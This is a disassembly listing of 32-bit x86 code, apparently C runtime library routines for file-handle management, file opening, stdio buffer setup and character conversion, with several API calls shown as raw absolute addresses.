loc_423757:				; CODE XREF: sub_42371C+1Dj
		add	ecx, 4
		inc	edi
		add	esi, 20h
		cmp	ecx, offset dword_4E1F80
		jl	short loc_42372B
		jmp	short loc_4237AB
; ---------------------------------------------------------------------------


loc_423768:				; CODE XREF: sub_42371C+13j
		mov	esi, 100h
		push	esi
		call	sub_41B4D5
		test	eax, eax
		pop	ecx
		jz	short loc_4237AB
		add	dword_4E1F80, 20h
		lea	ecx, ds:4E1E80h[edi*4]
		lea	edx, [eax+100h]
		mov	[ecx], eax


loc_42378E:				; CODE XREF: sub_42371C+88j
		cmp	eax, edx
		jnb	short loc_4237A6
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		mov	edx, [ecx]
		add	eax, 8
		add	edx, esi
		jmp	short loc_42378E
; ---------------------------------------------------------------------------


loc_4237A6:				; CODE XREF: sub_42371C+74j
		shl	edi, 5
		mov	ebx, edi


loc_4237AB:				; CODE XREF: sub_42371C+39j
					; sub_42371C+4Aj ...
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_42371C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4237B1	proc near		; CODE XREF: sub_423A33+1F4p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		cmp	eax, dword_4E1F80
		push	edi
		jnb	short loc_423811
		mov	ecx, eax
		mov	esi, eax
		sar	ecx, 5
		and	esi, 1Fh
		lea	edi, ds:4E1E80h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		cmp	dword ptr [ecx+esi], 0FFFFFFFFh
		jnz	short loc_423811
		cmp	dword_43FB74, 1
		push	ebx
		mov	ebx, [esp+0Ch+arg_4]
		jnz	short loc_423807
		sub	eax, 0
		jz	short loc_4237FE
		dec	eax
		jz	short loc_4237F9
		dec	eax
		jnz	short loc_423807
		push	ebx
		push	0FFFFFFF4h
		jmp	short loc_423801
; ---------------------------------------------------------------------------


loc_4237F9:				; CODE XREF: sub_4237B1+3Ej
		push	ebx
		push	0FFFFFFF5h
		jmp	short loc_423801
; ---------------------------------------------------------------------------


loc_4237FE:				; CODE XREF: sub_4237B1+3Bj
		push	ebx
		push	0FFFFFFF6h


loc_423801:				; CODE XREF: sub_4237B1+46j
					; sub_4237B1+4Bj
		nop
		call	near ptr 2620C19h


loc_423807:				; CODE XREF: sub_4237B1+36j
					; sub_4237B1+41j
		mov	eax, [edi]
		mov	[eax+esi], ebx
		xor	eax, eax
		pop	ebx
		jmp	short loc_423825
; ---------------------------------------------------------------------------


loc_423811:				; CODE XREF: sub_4237B1+Cj
					; sub_4237B1+28j
		and	dword_4E0B2C, 0
		mov	dword_4E0B28, 9
		or	eax, 0FFFFFFFFh


loc_423825:				; CODE XREF: sub_4237B1+5Ej
		pop	edi
		pop	esi
		retn
sub_4237B1	endp


; =============== S U B	R O U T	I N E =======================================



sub_423828	proc near		; CODE XREF: sub_41DA72+7Cp

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	esi
		cmp	ecx, dword_4E1F80
		push	edi
		jnb	short loc_42388B
		mov	eax, ecx
		mov	esi, ecx
		sar	eax, 5
		and	esi, 1Fh
		lea	edi, ds:4E1E80h[eax*4]
		shl	esi, 3
		mov	eax, [edi]
		add	eax, esi
		test	byte ptr [eax+4], 1
		jz	short loc_42388B
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_42388B
		cmp	dword_43FB74, 1
		jnz	short loc_423881
		xor	eax, eax
		sub	ecx, eax
		jz	short loc_423878
		dec	ecx
		jz	short loc_423873
		dec	ecx
		jnz	short loc_423881
		push	eax
		push	0FFFFFFF4h
		jmp	short loc_42387B
; ---------------------------------------------------------------------------


loc_423873:				; CODE XREF: sub_423828+41j
		push	eax
		push	0FFFFFFF5h
		jmp	short loc_42387B
; ---------------------------------------------------------------------------


loc_423878:				; CODE XREF: sub_423828+3Ej
		push	eax
		push	0FFFFFFF6h


loc_42387B:				; CODE XREF: sub_423828+49j
					; sub_423828+4Ej
		call	near ptr 2620C19h
		nop


loc_423881:				; CODE XREF: sub_423828+38j
					; sub_423828+44j
		mov	eax, [edi]
		or	dword ptr [eax+esi], 0FFFFFFFFh
		xor	eax, eax
		jmp	short loc_42389F
; ---------------------------------------------------------------------------


loc_42388B:				; CODE XREF: sub_423828+Cj
					; sub_423828+2Aj ...
		and	dword_4E0B2C, 0
		mov	dword_4E0B28, 9
		or	eax, 0FFFFFFFFh


loc_42389F:				; CODE XREF: sub_423828+61j
		pop	edi
		pop	esi
		retn
sub_423828	endp


; =============== S U B	R O U T	I N E =======================================



sub_4238A2	proc near		; CODE XREF: sub_41DA72+32p
					; sub_41DA72+49p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_4E1F80
		jnb	short loc_4238CA
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_4E1E80[ecx*4]
		test	byte ptr [ecx+eax*8+4],	1
		lea	eax, [ecx+eax*8]
		jz	short loc_4238CA
		mov	eax, [eax]
		retn
; ---------------------------------------------------------------------------


loc_4238CA:				; CODE XREF: sub_4238A2+Aj
					; sub_4238A2+23j
		and	dword_4E0B2C, 0
		mov	dword_4E0B28, 9
		or	eax, 0FFFFFFFFh
		retn
sub_4238A2	endp


; =============== S U B	R O U T	I N E =======================================



sub_4238DF	proc near		; CODE XREF: sub_41DB50+2Bp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_4E1F80
		jnb	short loc_423928
		mov	ecx, eax
		mov	edx, eax
		sar	ecx, 5
		and	edx, 1Fh
		mov	ecx, dword_4E1E80[ecx*4]
		test	byte ptr [ecx+edx*8+4],	1
		jz	short loc_423928
		push	eax
		call	sub_4238A2
		pop	ecx
		push	eax
		call	near ptr 2620723h
		nop
		test	eax, eax
		jnz	short loc_42391D
		nop
		call	near ptr 2690A97h
		jmp	short loc_42391F
; ---------------------------------------------------------------------------


loc_42391D:				; CODE XREF: sub_4238DF+34j
		xor	eax, eax


loc_42391F:				; CODE XREF: sub_4238DF+3Cj
		test	eax, eax
		jz	short locret_423935
		mov	dword_4E0B2C, eax


loc_423928:				; CODE XREF: sub_4238DF+Aj
					; sub_4238DF+22j
		mov	dword_4E0B28, 9
		or	eax, 0FFFFFFFFh

locret_423935:				; CODE XREF: sub_4238DF+42j
		retn
sub_4238DF	endp


; =============== S U B	R O U T	I N E =======================================



sub_423936	proc near		; DATA XREF: ___:00429024o
		mov	eax, dword_4E1E60
		push	esi
		push	14h
		test	eax, eax
		pop	esi
		jnz	short loc_42394A
		mov	eax, 200h
		jmp	short loc_423950
; ---------------------------------------------------------------------------


loc_42394A:				; CODE XREF: sub_423936+Bj
		cmp	eax, esi
		jge	short loc_423955
		mov	eax, esi


loc_423950:				; CODE XREF: sub_423936+12j
		mov	dword_4E1E60, eax


loc_423955:				; CODE XREF: sub_423936+16j
		push	4
		push	eax
		call	sub_424E01
		pop	ecx
		mov	dword_4E0E48, eax
		test	eax, eax
		pop	ecx
		jnz	short loc_423989
		push	4
		push	esi
		mov	dword_4E1E60, esi
		call	sub_424E01
		pop	ecx
		mov	dword_4E0E48, eax
		test	eax, eax
		pop	ecx
		jnz	short loc_423989
		push	1Ah
		call	sub_41DA29
		pop	ecx


loc_423989:				; CODE XREF: sub_423936+30j
					; sub_423936+49j
		xor	ecx, ecx
		mov	eax, offset off_442298


loc_423990:				; CODE XREF: sub_423936+6Ej
		mov	edx, dword_4E0E48
		mov	[ecx+edx], eax
		add	eax, 20h
		add	ecx, 4
		cmp	eax, offset dword_442518
		jl	short loc_423990
		xor	edx, edx
		mov	ecx, offset dword_4422A8


loc_4239AD:				; CODE XREF: sub_423936+A1j
		mov	eax, edx
		mov	esi, edx
		sar	eax, 5
		and	esi, 1Fh
		mov	eax, dword_4E1E80[eax*4]
		mov	eax, [eax+esi*8]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4239CA
		test	eax, eax
		jnz	short loc_4239CD


loc_4239CA:				; CODE XREF: sub_423936+8Ej
		or	dword ptr [ecx], 0FFFFFFFFh


loc_4239CD:				; CODE XREF: sub_423936+92j
		add	ecx, 20h
		inc	edx
		cmp	ecx, offset dword_442308
		jl	short loc_4239AD
		pop	esi
		retn
sub_423936	endp


; =============== S U B	R O U T	I N E =======================================



sub_4239DB	proc near		; DATA XREF: ___:00429034o

; FUNCTION CHUNK AT 00424EB2 SIZE 00000058 BYTES

		call	sub_41DBE7
		cmp	byte_4E0B68, 0
		jz	short locret_4239EE
		jmp	loc_424EB2
; ---------------------------------------------------------------------------

locret_4239EE:				; CODE XREF: sub_4239DB+Cj
		retn
sub_4239DB	endp


; =============== S U B	R O U T	I N E =======================================



sub_4239EF	proc near		; CODE XREF: sub_41F043+32p
					; sub_41F58A+6Cp ...

arg_0		= dword	ptr  4

		inc	dword_4E0D10
		push	1000h
		call	sub_41B4D5
		pop	ecx
		mov	ecx, [esp+arg_0]
		test	eax, eax
		mov	[ecx+8], eax
		jz	short loc_423A18
		or	dword ptr [ecx+0Ch], 8
		mov	dword ptr [ecx+18h], 1000h
		jmp	short loc_423A29
; ---------------------------------------------------------------------------


loc_423A18:				; CODE XREF: sub_4239EF+1Aj
		or	dword ptr [ecx+0Ch], 4
		lea	eax, [ecx+14h]
		mov	[ecx+8], eax
		mov	dword ptr [ecx+18h], 2


loc_423A29:				; CODE XREF: sub_4239EF+27j
		mov	eax, [ecx+8]
		and	dword ptr [ecx+4], 0
		mov	[ecx], eax
		retn
sub_4239EF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423A33	proc near		; CODE XREF: sub_41F32D+13Fp

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	ecx, [ebp+arg_4]
		push	ebx
		xor	ebx, ebx
		push	esi
		test	cl, 80h
		push	edi
		mov	[ebp+var_1C], 0Ch
		mov	[ebp+var_18], ebx
		jz	short loc_423A59
		mov	[ebp+var_14], ebx
		mov	[ebp+var_1], 10h
		jmp	short loc_423A64
; ---------------------------------------------------------------------------


loc_423A59:				; CODE XREF: sub_423A33+1Bj
		and	[ebp+var_1], 0
		mov	[ebp+var_14], 1


loc_423A64:				; CODE XREF: sub_423A33+24j
		mov	eax, 8000h
		test	ecx, eax
		jnz	short loc_423A7E
		test	ch, 40h
		jnz	short loc_423A7A
		cmp	dword_4E0E20, eax
		jz	short loc_423A7E


loc_423A7A:				; CODE XREF: sub_423A33+3Dj
		or	[ebp+var_1], 80h


loc_423A7E:				; CODE XREF: sub_423A33+38j
					; sub_423A33+45j
		push	3
		mov	eax, ecx
		pop	esi
		and	eax, esi
		sub	eax, ebx
		jz	short loc_423AB6
		dec	eax
		jz	short loc_423AAD
		dec	eax
		jz	short loc_423AA4


loc_423A8F:				; CODE XREF: sub_423A33+9Fj
					; sub_423A33+E8j ...
		mov	dword_4E0B28, 16h
		mov	dword_4E0B2C, ebx
		jmp	loc_423CC9
; ---------------------------------------------------------------------------


loc_423AA4:				; CODE XREF: sub_423A33+5Aj
		mov	[ebp+var_C], 0C0000000h
		jmp	short loc_423ABD
; ---------------------------------------------------------------------------


loc_423AAD:				; CODE XREF: sub_423A33+57j
		mov	[ebp+var_C], 40000000h
		jmp	short loc_423ABD
; ---------------------------------------------------------------------------


loc_423AB6:				; CODE XREF: sub_423A33+54j
		mov	[ebp+var_C], 80000000h


loc_423ABD:				; CODE XREF: sub_423A33+78j
					; sub_423A33+81j
		mov	eax, [ebp+arg_8]
		cmp	eax, 10h
		jz	short loc_423AEB
		cmp	eax, 20h
		jz	short loc_423AE2
		cmp	eax, 30h
		jz	short loc_423AD9
		cmp	eax, 40h
		jnz	short loc_423A8F
		mov	[ebp+var_10], esi
		jmp	short loc_423AEE
; ---------------------------------------------------------------------------


loc_423AD9:				; CODE XREF: sub_423A33+9Aj
		mov	[ebp+var_10], 2
		jmp	short loc_423AEE
; ---------------------------------------------------------------------------


loc_423AE2:				; CODE XREF: sub_423A33+95j
		mov	[ebp+var_10], 1
		jmp	short loc_423AEE
; ---------------------------------------------------------------------------


loc_423AEB:				; CODE XREF: sub_423A33+90j
		mov	[ebp+var_10], ebx


loc_423AEE:				; CODE XREF: sub_423A33+A4j
					; sub_423A33+ADj ...
		mov	edx, 700h
		mov	eax, 400h
		and	ecx, edx
		mov	edi, 100h
		cmp	ecx, eax
		jg	short loc_423B38
		jz	short loc_423B33
		cmp	ecx, ebx
		jz	short loc_423B33
		cmp	ecx, edi
		jz	short loc_423B2A
		cmp	ecx, 200h
		jz	short loc_423B51
		cmp	ecx, 300h
		jnz	loc_423A8F
		mov	[ebp+var_8], 2
		jmp	short loc_423B61
; ---------------------------------------------------------------------------


loc_423B2A:				; CODE XREF: sub_423A33+D8j
		mov	[ebp+var_8], 4
		jmp	short loc_423B61
; ---------------------------------------------------------------------------


loc_423B33:				; CODE XREF: sub_423A33+D0j
					; sub_423A33+D4j
		mov	[ebp+var_8], esi
		jmp	short loc_423B61
; ---------------------------------------------------------------------------


loc_423B38:				; CODE XREF: sub_423A33+CEj
		cmp	ecx, 500h
		jz	short loc_423B5A
		cmp	ecx, 600h
		jz	short loc_423B51
		cmp	ecx, edx
		jz	short loc_423B5A
		jmp	loc_423A8F
; ---------------------------------------------------------------------------


loc_423B51:				; CODE XREF: sub_423A33+E0j
					; sub_423A33+113j
		mov	[ebp+var_8], 5
		jmp	short loc_423B61
; ---------------------------------------------------------------------------


loc_423B5A:				; CODE XREF: sub_423A33+10Bj
					; sub_423A33+117j
		mov	[ebp+var_8], 1


loc_423B61:				; CODE XREF: sub_423A33+F5j
					; sub_423A33+FEj ...
		mov	eax, [ebp+arg_4]
		mov	esi, 80h
		test	eax, edi
		jz	short loc_423B80
		mov	ecx, dword_4E0B30
		not	ecx
		and	ecx, [ebp+arg_C]
		test	cl, 80h
		jnz	short loc_423B80
		push	1
		pop	esi


loc_423B80:				; CODE XREF: sub_423A33+138j
					; sub_423A33+148j
		test	al, 40h
		jz	short loc_423B8E
		or	esi, 4000000h
		or	byte ptr [ebp+var_C+2],	1


loc_423B8E:				; CODE XREF: sub_423A33+14Fj
		test	ah, 10h
		jz	short loc_423B95
		or	esi, edi


loc_423B95:				; CODE XREF: sub_423A33+15Ej
		test	al, 20h
		jz	short loc_423BA1
		or	esi, 8000000h
		jmp	short loc_423BAB
; ---------------------------------------------------------------------------


loc_423BA1:				; CODE XREF: sub_423A33+164j
		test	al, 10h
		jz	short loc_423BAB
		or	esi, 10000000h


loc_423BAB:				; CODE XREF: sub_423A33+16Cj
					; sub_423A33+170j
		call	sub_42371C
		mov	ebx, eax
		or	edi, 0FFFFFFFFh
		cmp	ebx, edi
		jnz	short loc_423BCC
		and	dword_4E0B2C, 0
		mov	dword_4E0B28, 18h
		jmp	short loc_423C0A
; ---------------------------------------------------------------------------


loc_423BCC:				; CODE XREF: sub_423A33+184j
		push	0
		push	esi
		push	[ebp+var_8]
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_C]
		push	[ebp+arg_0]
		call	near ptr 27107FCh
		nop
		mov	esi, eax
		cmp	esi, edi
		jz	short loc_423BFD
		push	esi
		nop
		call	near ptr 2630000h
		test	eax, eax
		jnz	short loc_423C11
		push	esi
		call	near ptr 267093Fh
		nop


loc_423BFD:				; CODE XREF: sub_423A33+1B6j
		nop
		call	near ptr 2690A97h
		push	eax
		call	sub_4203DF
		pop	ecx


loc_423C0A:				; CODE XREF: sub_423A33+197j
		mov	eax, edi
		jmp	loc_423CE7
; ---------------------------------------------------------------------------


loc_423C11:				; CODE XREF: sub_423A33+1C1j
		cmp	eax, 2
		jnz	short loc_423C1C
		or	[ebp+var_1], 40h
		jmp	short loc_423C25
; ---------------------------------------------------------------------------


loc_423C1C:				; CODE XREF: sub_423A33+1E1j
		cmp	eax, 3
		jnz	short loc_423C25
		or	[ebp+var_1], 8


loc_423C25:				; CODE XREF: sub_423A33+1E7j
					; sub_423A33+1ECj
		push	esi
		push	ebx
		call	sub_4237B1
		pop	ecx
		mov	al, [ebp+var_1]
		pop	ecx
		mov	esi, ebx
		mov	ecx, ebx
		or	al, 1
		sar	ecx, 5
		and	esi, 1Fh
		mov	byte ptr [ebp+arg_0+3],	al
		lea	edi, ds:4E1E80h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		and	byte ptr [ebp+arg_0+3],	48h
		mov	[ecx+esi+4], al
		jnz	short loc_423CCE
		test	al, 80h
		jz	short loc_423CCE
		test	byte ptr [ebp+arg_4], 2
		jz	short loc_423CCE
		push	2
		push	0FFFFFFFFh
		push	ebx
		call	sub_42272B
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_10], eax
		jnz	short loc_423C83
		cmp	dword_4E0B2C, 83h
		jz	short loc_423CCE
		jmp	short loc_423CC2
; ---------------------------------------------------------------------------


loc_423C83:				; CODE XREF: sub_423A33+240j
		and	byte ptr [ebp+arg_8+3],	0
		lea	eax, [ebp+arg_8+3]
		push	1
		push	eax
		push	ebx
		call	sub_41F11C
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_423CB0
		cmp	byte ptr [ebp+arg_8+3],	1Ah
		jnz	short loc_423CB0
		push	[ebp+var_10]
		push	ebx
		call	sub_424F0A
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_423CC2


loc_423CB0:				; CODE XREF: sub_423A33+265j
					; sub_423A33+26Bj
		push	0
		push	0
		push	ebx
		call	sub_42272B
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_423CCE


loc_423CC2:				; CODE XREF: sub_423A33+24Ej
					; sub_423A33+27Bj
		push	ebx
		call	sub_41DA72
		pop	ecx


loc_423CC9:				; CODE XREF: sub_423A33+6Cj
		or	eax, 0FFFFFFFFh
		jmp	short loc_423CE7
; ---------------------------------------------------------------------------


loc_423CCE:				; CODE XREF: sub_423A33+221j
					; sub_423A33+225j ...
		cmp	byte ptr [ebp+arg_0+3],	0
		jnz	short loc_423CE5
		test	byte ptr [ebp+arg_4], 8
		jz	short loc_423CE5
		mov	eax, [edi]
		or	byte ptr [eax+esi+4], 20h
		lea	eax, [eax+esi+4]


loc_423CE5:				; CODE XREF: sub_423A33+29Fj
					; sub_423A33+2A5j
		mov	eax, ebx


loc_423CE7:				; CODE XREF: sub_423A33+1D9j
					; sub_423A33+299j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_423A33	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423CEC	proc near		; CODE XREF: sub_41F515+5Ep
					; sub_4200E8+9Ap

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427C50
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, dword_4E0D18
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_423D5B
		lea	eax, [ebp+var_1C]
		push	eax
		push	1
		pop	esi
		push	esi
		push	offset dword_427940
		push	esi
		nop
		call	near ptr 2610000h
		test	eax, eax
		jz	short loc_423D39
		mov	eax, esi
		jmp	short loc_423D56
; ---------------------------------------------------------------------------


loc_423D39:				; CODE XREF: sub_423CEC+47j
		lea	eax, [ebp+var_1C]
		push	eax
		push	esi
		push	offset dword_4D06DC
		push	esi
		push	ebx
		nop
		call	near ptr 2620000h
		test	eax, eax
		jz	loc_423E21
		push	2
		pop	eax


loc_423D56:				; CODE XREF: sub_423CEC+4Bj
		mov	dword_4E0D18, eax


loc_423D5B:				; CODE XREF: sub_423CEC+2Fj
		cmp	eax, 2
		jnz	short loc_423D84
		mov	eax, [ebp+arg_14]
		cmp	eax, ebx
		jnz	short loc_423D6C
		mov	eax, dword_4E0BE4


loc_423D6C:				; CODE XREF: sub_423CEC+79j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		call	near ptr 2620000h
		nop
		jmp	loc_423E23
; ---------------------------------------------------------------------------


loc_423D84:				; CODE XREF: sub_423CEC+72j
		cmp	eax, 1
		jnz	loc_423E21
		cmp	[ebp+arg_10], ebx
		jnz	short loc_423D9A
		mov	eax, dword_4E0BF4
		mov	[ebp+arg_10], eax


loc_423D9A:				; CODE XREF: sub_423CEC+A4j
		push	ebx
		push	ebx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		mov	eax, [ebp+arg_18]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	[ebp+arg_10]
		nop
		call	near ptr 2840000h
		mov	[ebp+var_20], eax
		cmp	eax, ebx
		jz	short loc_423E21
		mov	[ebp+var_4], ebx
		lea	edi, [eax+eax]
		mov	eax, edi
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	esi, esp
		mov	[ebp+var_24], esi
		push	edi
		push	ebx
		push	esi
		call	sub_41B590
		add	esp, 0Ch
		jmp	short loc_423DF0
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		xor	esi, esi


loc_423DF0:				; CODE XREF: sub_423CEC+F7j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	esi, ebx
		jz	short loc_423E21
		push	[ebp+var_20]
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	1
		push	[ebp+arg_10]
		call	near ptr 2840000h
		nop
		cmp	eax, ebx
		jz	short loc_423E21
		push	[ebp+arg_C]
		push	eax
		push	esi
		push	[ebp+arg_0]
		call	near ptr 2610000h
		nop
		jmp	short loc_423E23
; ---------------------------------------------------------------------------


loc_423E21:				; CODE XREF: sub_423CEC+61j
					; sub_423CEC+9Bj ...
		xor	eax, eax


loc_423E23:				; CODE XREF: sub_423CEC+93j
					; sub_423CEC+133j
		lea	esp, [ebp-34h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_423CEC	endp


; =============== S U B	R O U T	I N E =======================================



sub_423E35	proc near		; CODE XREF: sub_41F58A+61p
					; sub_420446+8p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_4E1F80
		jb	short loc_423E44
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_423E44:				; CODE XREF: sub_423E35+Aj
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_4E1E80[ecx*4]
		mov	al, [ecx+eax*8+4]
		and	eax, 40h
		retn
sub_423E35	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423E5B	proc near		; CODE XREF: sub_41F69F+2D4p
					; sub_41F69F+6B3p

arg_0		= dword	ptr  8
arg_4		= word ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jnz	short loc_423E67
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_423E67:				; CODE XREF: sub_423E5B+8j
		cmp	dword_4E0BE4, 0
		jnz	short loc_423E82
		mov	cx, [ebp+arg_4]
		cmp	cx, 0FFh
		ja	short loc_423EB4
		push	1
		mov	[eax], cl
		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_423E82:				; CODE XREF: sub_423E5B+13j
		lea	ecx, [ebp+arg_0]
		and	[ebp+arg_0], 0
		push	ecx
		push	0
		push	dword_441DB4
		push	eax
		lea	eax, [ebp+arg_4]
		push	1
		push	eax
		push	220h
		push	dword_4E0BF4
		nop
		call	near ptr 2830000h
		test	eax, eax
		jz	short loc_423EB4
		cmp	[ebp+arg_0], 0
		jz	short loc_423EC1


loc_423EB4:				; CODE XREF: sub_423E5B+1Ej
					; sub_423E5B+51j
		mov	dword_4E0B28, 2Ah
		or	eax, 0FFFFFFFFh


loc_423EC1:				; CODE XREF: sub_423E5B+57j
		pop	ebp
		retn
sub_423E5B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423EC3	proc near		; CODE XREF: sub_420510+6A3p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		cmp	esi, ebx
		jz	short loc_423EE6
		cmp	[ebp+arg_8], ebx
		jz	short loc_423EE6
		mov	al, [esi]
		cmp	al, bl
		jnz	short loc_423EEC
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_423EE6
		mov	[eax], bx


loc_423EE6:				; CODE XREF: sub_423EC3+Cj
					; sub_423EC3+11j ...
		xor	eax, eax


loc_423EE8:				; CODE XREF: sub_423EC3+42j
					; sub_423EC3+86j ...
		pop	esi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_423EEC:				; CODE XREF: sub_423EC3+17j
		cmp	dword_4E0BE4, ebx
		jnz	short loc_423F07
		mov	ecx, [ebp+arg_0]
		cmp	ecx, ebx
		jz	short loc_423F02
		movzx	ax, al
		mov	[ecx], ax


loc_423F02:				; CODE XREF: sub_423EC3+36j
					; sub_423EC3+C0j
		push	1
		pop	eax
		jmp	short loc_423EE8
; ---------------------------------------------------------------------------


loc_423F07:				; CODE XREF: sub_423EC3+2Fj
		mov	ecx, off_441BA8
		movzx	eax, al
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_423F64
		mov	eax, dword_441DB4
		cmp	eax, 1
		jle	short loc_423F4B
		cmp	[ebp+arg_8], eax
		jl	short loc_423F55
		xor	ecx, ecx
		cmp	[ebp+arg_0], ebx
		setnz	cl
		push	ecx
		push	[ebp+arg_0]
		push	eax
		push	esi
		push	9
		push	dword_4E0BF4
		nop
		call	near ptr 2840000h
		test	eax, eax
		mov	eax, dword_441DB4
		jnz	short loc_423EE8


loc_423F4B:				; CODE XREF: sub_423EC3+5Cj
		cmp	[ebp+arg_8], eax
		jb	short loc_423F55
		cmp	[esi+1], bl
		jnz	short loc_423EE8


loc_423F55:				; CODE XREF: sub_423EC3+61j
					; sub_423EC3+8Bj ...
		mov	dword_4E0B28, 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_423EE8
; ---------------------------------------------------------------------------


loc_423F64:				; CODE XREF: sub_423EC3+52j
		xor	eax, eax
		cmp	[ebp+arg_0], ebx
		setnz	al
		push	eax
		push	[ebp+arg_0]
		push	1
		push	esi
		push	9
		push	dword_4E0BF4
		call	near ptr 2840000h
		nop
		test	eax, eax
		jnz	loc_423F02
		jmp	short loc_423F55
sub_423EC3	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_423F90	proc near		; CODE XREF: sub_420510+797p
					; sub_420510+7E7p
		cmp	cl, 40h
		jnb	short loc_423FAA
		cmp	cl, 20h
		jnb	short loc_423FA0
		shld	edx, eax, cl
		shl	eax, cl
		retn
; ---------------------------------------------------------------------------


loc_423FA0:				; CODE XREF: sub_423F90+8j
		mov	edx, eax
		xor	eax, eax
		and	cl, 1Fh
		shl	edx, cl
		retn
; ---------------------------------------------------------------------------


loc_423FAA:				; CODE XREF: sub_423F90+3j
		xor	eax, eax
		xor	edx, edx
		retn
sub_423F90	endp


; =============== S U B	R O U T	I N E =======================================



sub_423FAF	proc near		; CODE XREF: sub_420F86+Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_0]
		cmp	ebx, 0FFFFFFFFh
		push	esi
		jz	short loc_423FFB
		mov	esi, [esp+8+arg_4]
		mov	eax, [esi+0Ch]
		test	al, 1
		jnz	short loc_423FCD
		test	al, 80h
		jz	short loc_423FFB
		test	al, 2
		jnz	short loc_423FFB


loc_423FCD:				; CODE XREF: sub_423FAF+14j
		cmp	dword ptr [esi+8], 0
		jnz	short loc_423FDA
		push	esi
		call	sub_4239EF
		pop	ecx


loc_423FDA:				; CODE XREF: sub_423FAF+22j
		mov	eax, [esi]
		cmp	eax, [esi+8]
		jnz	short loc_423FEA
		cmp	dword ptr [esi+4], 0
		jnz	short loc_423FFB
		inc	eax
		mov	[esi], eax


loc_423FEA:				; CODE XREF: sub_423FAF+30j
		test	byte ptr [esi+0Ch], 40h
		jz	short loc_424001
		dec	dword ptr [esi]
		mov	eax, [esi]
		cmp	[eax], bl
		jz	short loc_424007
		inc	eax
		mov	[esi], eax


loc_423FFB:				; CODE XREF: sub_423FAF+9j
					; sub_423FAF+18j ...
		or	eax, 0FFFFFFFFh


loc_423FFE:				; CODE XREF: sub_423FAF+6Cj
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


